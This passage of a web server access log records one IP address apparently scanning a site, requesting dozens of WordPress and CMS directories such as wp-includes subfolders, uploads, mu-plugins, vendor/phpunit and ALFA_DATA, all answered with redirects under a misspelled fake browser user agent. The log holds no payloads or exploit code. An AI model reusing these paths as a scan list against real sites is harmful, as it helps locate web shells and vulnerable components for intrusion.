Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:21:35:29 +0330] "GET /wp-content/themes/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:35 +0330] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:36 +0330] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:37 +0330] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:39 +0330] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:40 +0330] "GET /wp-content/plugins/ninja-forms/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:42 +0330] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:45 +0330] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:46 +0330] "GET /wp-includes/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:48 +0330] "GET /.well-knownold/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:49 +0330] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:50 +0330] "GET /.well-known/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:51 +0330] "GET /cgi-bin/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:53 +0330] "GET /.well-knownold/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:53 +0330] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:54 +0330] "GET /.well-known/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:31 +0330] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:32 +0330] "GET /wp-includes/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:33 +0330] "GET /wp-includes/css/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:34 +0330] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:36 +0330] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:38 +0330] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:41 +0330] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:43 +0330] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:43 +0330] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:44 +0330] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:47 +0330] "GET /.well-known/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:48 +0330] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:52 +0330] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:00 +0330] "GET /admin/uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:01 +0330] "GET /Admin/uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:55 +0330] "GET /uploads/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:29:59 +0330] "GET /upload/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:02 +0330] "GET /admin/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:03 +0330] "GET /images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:14 +0330] "GET /Public/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:15 +0330] "GET /vendor/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:16 +0330] "GET /local/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:16 +0330] "GET /modules/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:18 +0330] "GET /system/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:19 +0330] "GET /template/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:21 +0330] "GET /files/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:22 +0330] "GET /admin/editor/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:22 +0330] "GET /include/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:23 +0330] "GET /Assets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:26 +0330] "GET /php/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:27 +0330] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:03 +0330] "GET /assets/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:05 +0330] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:05 +0330] "GET /upload/image/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:13 +0330] "GET /assets/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:17 +0330] "GET /Site/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:20 +0330] "GET /shop/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:24 +0330] "GET /images/stories/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:25 +0330] "GET /plugins/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:27 +0330] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:28 +0330] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:29 +0330] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:30 +0330] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:35 +0330] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:36 +0330] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:40 +0330] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:31 +0330] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:34 +0330] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:38 +0330] "GET /wp-includes/css/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:39 +0330] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:45 +0330] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:42 +0330] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:54 +0330] "GET /wp-includes/Requests/Utility/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:56 +0330] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:31:01 +0330] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:31:05 +0330] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:31:41 +0330] "GET /wp-includes/rest-api/search/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:31:43 +0330] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:31:48 +0330] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:32:08 +0330] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:32:12 +0330] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:32:14 +0330] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:32:16 +0330] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:32:33 +0330] "GET /wp-includes/images/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:32:36 +0330] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:32:55 +0330] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:33:05 +0330] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:48 +0330] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:50 +0330] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:52 +0330] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:30:59 +0330] "GET /wp-includes/Requests/Exception/HTTP/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:31:14 +0330] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:31:16 +0330] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 160.177.172.214 - - [04/Nov/2025:22:31:46 +0330] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 